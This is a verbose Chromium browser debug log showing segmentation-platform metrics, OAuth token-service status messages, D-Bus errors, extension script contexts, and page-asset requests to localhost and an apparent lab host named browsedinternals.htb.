[2555:2555:0111/001626.439483:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Commerce.PriceDrops.ActiveTabNavigationComplete.IsProductDetailPage
[2555:2555:0111/001626.439492:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Autofill_PolledCreditCardSuggestions
[2555:2555:0111/001626.439500:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.ParcelTracking.Tracked.AutoTrack
[2555:2555:0111/001626.439508:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Omnibox.SuggestionUsed.ClientSummarizedResultType
[2555:2555:0111/001626.439518:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MetadataWriter
[2555:2555:0111/001626.439526:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2
[2555:2555:0111/001626.439533:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Phone
[2555:2555:0111/001626.439540:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Desktop
[2555:2555:0111/001626.439548:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Tablet
[2555:2555:0111/001626.439555:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileBookmarkManagerOpen
[2555:2555:0111/001626.439562:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing NewTabPage.MostVisited.Clicked
[2555:2555:0111/001626.439570:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing TabGroup.Created.OpenInNewTab
[2555:2555:0111/001626.439577:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Android.HistoryPage.OpenItem
[2555:2555:0111/001626.439584:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileMenuRecentTabs
[2555:2555:0111/001626.439592:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ManagePasswordsReferrer
[2555:2555:0111/001626.439599:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ProfileStore.TotalAccountsHiRes3.WithScheme.Https
[2555:2555:0111/001626.439606:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.FillingAssistance
[2555:2555:0111/001626.439614:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SavedPasswordIsGenerated
[2555:2555:0111/001626.439621:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2555:2555:0111/001626.439628:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2555:2555:0111/001626.439635:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.CredentialExtension.IsEnabled.Startup
[2555:2555:0111/001626.441443:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(520)] MutablePO2TS::OnWebDataServiceRequestDone. Result type: 5
[2555:2555:0111/001626.441463:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(580)] MutablePO2TS::LoadAllCredentialsIntoMemory; 0 credential(s).
[2555:2555:0111/001626.444692:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444722:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444733:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444743:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.445117:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447136:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447152:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447265:VERBOSE1:account_reconcilor.cc(404)] AccountReconcilor::OnEndBatchOfRefreshTokenStateChanges. Reconcilor state: 1
[2555:2555:0111/001626.453900:VERBOSE1:partitioned_lock_manager.cc(236)] Releasing <PartitionedLockId>{id: 0x31, partition: 0} requested by Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.454866:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.470416:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.470551:VERBOSE1:idle_linux.cc(129)] org.mate.ScreenSaver D-Bus service does not exist
[2555:2567:0111/001626.470668:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.473798:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.473849:VERBOSE1:idle_linux.cc(129)] org.xfce.ScreenSaver D-Bus service does not exist
[2555:2555:0111/001626.473879:WARNING:idle_linux.cc(110)] None of the known D-Bus ScreenSaver services could be used.
[2585:2590:0111/001626.504673:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
[2585:2590:0111/001626.505715:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
[2585:2590:0111/001626.506425:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
[2555:2555:0111/001626.538982:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2585:2590:0111/001626.544909:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/main.css
[2585:2590:0111/001626.545629:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic01.jpg
[2585:2590:0111/001626.546211:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic02.jpg
[2555:2555:0111/001626.557610:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2624:2624:0111/001626.570201:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2625:2625:0111/001626.569585:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2625:2625:0111/001626.573074:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2625:2625:0111/001626.573578:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2624:2624:0111/001626.571911:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2624:2624:0111/001626.574148:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2585:2590:0111/001626.581589:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic03.jpg
[2585:2590:0111/001626.612304:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
[2585:2590:0111/001626.613908:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/index.js?v=1.24.5
[2555:2555:0111/001626.640156:VERBOSE1:segment_result_provider.cc(136)] GetSegmentResult: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER ignoring DB score, executing model.
[2555:2555:0111/001626.640199:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER server segment info not available
[2555:2555:0111/001626.640213:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER failed to get database model score, trying default model.
[2585:2590:0111/001626.649445:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/fontawesome-all.min.css
[2585:2590:0111/001626.649849:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
[2585:2590:0111/001626.696419:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.min.js
[2585:2590:0111/001626.696818:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrolly.min.js
[2585:2590:0111/001626.697117:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.dropotron.min.js
[2585:2590:0111/001626.697383:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrollex.min.js
[2585:2590:0111/001626.704602:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/browser.min.js
[2585:2590:0111/001626.705775:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/breakpoints.min.js
[2585:2590:0111/001626.721017:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/util.js
[2585:2590:0111/001626.723063:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/main.js
[2624:2624:0111/001626.913922:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           imljcaigkmmkjkpgajjlnnndpohbdgph
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           CONTENT_SCRIPT
  effective extension id: imljcaigkmmkjkpgajjlnnndpohbdgph
  effective context type: CONTENT_SCRIPT
[2624:2624:0111/001626.914288:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2624:2624:0111/001626.918154:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 2
[2585:2590:0111/001626.922685:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47
[2555:2555:0111/001631.439950:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT does not have a segment info.
[2555:2555:0111/001631.439984:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.439997:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT server segment info not available
[2555:2555:0111/001631.440010:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.440054:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT has expired or unavailable result.
[2555:2555:0111/001631.440089:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441144:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER does not have a segment info.
[2555:2555:0111/001631.441165:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441176:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER server segment info not available
[2555:2555:0111/001631.441188:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441199:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER has expired or unavailable result.
[2555:2555:0111/001631.441208:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get database model score, trying default model.
[2555:2555:0111/001631.441320:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER does not have a segment info.
[2555:2555:0111/001631.441330:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441339:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER server segment info not available
[2555:2555:0111/001631.441348:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441359:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER has expired or unavailable result.
[2555:2555:0111/001631.441367:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get database model score, trying default model.
[2555:2555:0111/001631.441606:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT does not have a segment info.
[2555:2555:0111/001631.441624:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.441636:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=CROSS_DEVICE_USER_SEGMENT server segment info not available
[2555:2555:0111/001631.441651:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441664:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT has expired or unavailable result.
[2555:2555:0111/001631.441676:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441767:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT does not have a segment info.
[2555:2555:0111/001631.441781:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.441792:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=RESUME_HEAVY_USER_SEGMENT server segment info not available
[2555:2555:0111/001631.441804:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441813:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT has expired or unavailable result.
[2555:2555:0111/001631.441821:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441934:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER does not have a segment info.
[2555:2555:0111/001631.441944:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441952:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=PASSWORD_MANAGER_USER server segment info not available
[2555:2555:0111/001631.441960:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441969:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER has expired or unavailable result.
[2555:2555:0111/001631.441979:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get database model score, trying default model.
[2555:2576:0111/001631.442467:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query WITH all_buckets(bucket)AS(VALUES(0),(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27))SELECT IFNULL(count_vals,0)FROM (SELECT SUM(metric_value) AS sum_vals, COUNT(metric_value) AS count_vals, (event_timestamp-?)/? AS bucket FROM uma_metrics WHERE metric_hash='4F47AC1641163C54' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? GROUP BY bucket)RIGHT JOIN all_buckets USING(bucket)ORDER BY bucket Bind values: 0:2025-12-14 00:16:31.440107 UTC 1:86400000000 2:2466474089 3:3 4:2025-12-14 00:16:31.440107 UTC 5:2026-01-11 00:16:31.440107 UTC  Result: 0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,
[2555:2555:0111/001631.442705:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 feature 7: 0 feature 8: 0 feature 9: 0 feature 10: 0 feature 11: 0 feature 12: 0 feature 13: 0 feature 14: 0 feature 15: 0 feature 16: 0 feature 17: 0 feature 18: 0 feature 19: 0 feature 20: 0 feature 21: 0 feature 22: 0 feature 23: 0 feature 24: 0 feature 25: 0 feature 26: 0 feature 27: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2576:0111/001631.442771:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='603A678A76802F71' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441222 UTC 3:2026-01-11 00:16:31.441222 UTC  Result: 0.000000,
[2555:2555:0111/001631.442800:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2555:0111/001631.442836:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2555:2576:0111/001631.442839:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='1A94D82447638877' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2555:0111/001631.442848:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2555:0111/001631.442864:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2555:2576:0111/001631.442882:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='8A5076C9026398BD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2576:0111/001631.442987:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='ED7CFEC70BF9942D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-01-04 00:16:31.441377 UTC 3:2026-01-11 00:16:31.441377 UTC  Result: 0.000000,
[2555:2576:0111/001631.443050:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='9AD089D233757CA7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443109:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='43AA16B058663FB7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443183:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='B00E169A508F10AD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2555:0111/001631.443190:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191442830 result 0: 1 for segmentation key: chrome_low_user_engagement
[2555:2576:0111/001631.443238:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='5FD2B9E0B59FBE33' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441693 UTC 3:2026-01-11 00:16:31.441693 UTC  Result: 0.000000,
[2555:2576:0111/001631.443282:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='C5E37EF42704563E' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2576:0111/001631.443318:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='B72DBAE88DD1CF7D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2576:0111/001631.443353:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='43D86E968F3E094A' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443366:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443388:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input:  feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2576:0111/001631.443407:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='2CA9FE4BEBD6A7C5' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443428:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443463:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2555:2576:0111/001631.443463:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='EBCD1644AA07E17B' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-01-04 00:16:31.441833 UTC 3:2026-01-11 00:16:31.441833 UTC  Result: 0.000000,
[2555:2555:0111/001631.443477:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2555:2555:0111/001631.443502:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segment id: CROSS_DEVICE_USER_SEGMENT
[2555:2576:0111/001631.443541:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='74AFBBB14C4DB32A' AND profile_id=? AND type=? AND metric_value IN(0)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443569:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result:  output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2555:0111/001631.443597:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2555:2555:0111/001631.443606:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2555:0111/001631.443623:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13412564191443593 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2555:2576:0111/001631.443629:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='6BF86CCA1FD02CBD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2025-12-14 00:16:31.441992 UTC 3:2026-01-11 00:16:31.441992 UTC  Result: 0.000000,
[2555:2555:0111/001631.443681:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13412564191443458 result 0: 1 for segmentation key: cross_device_user
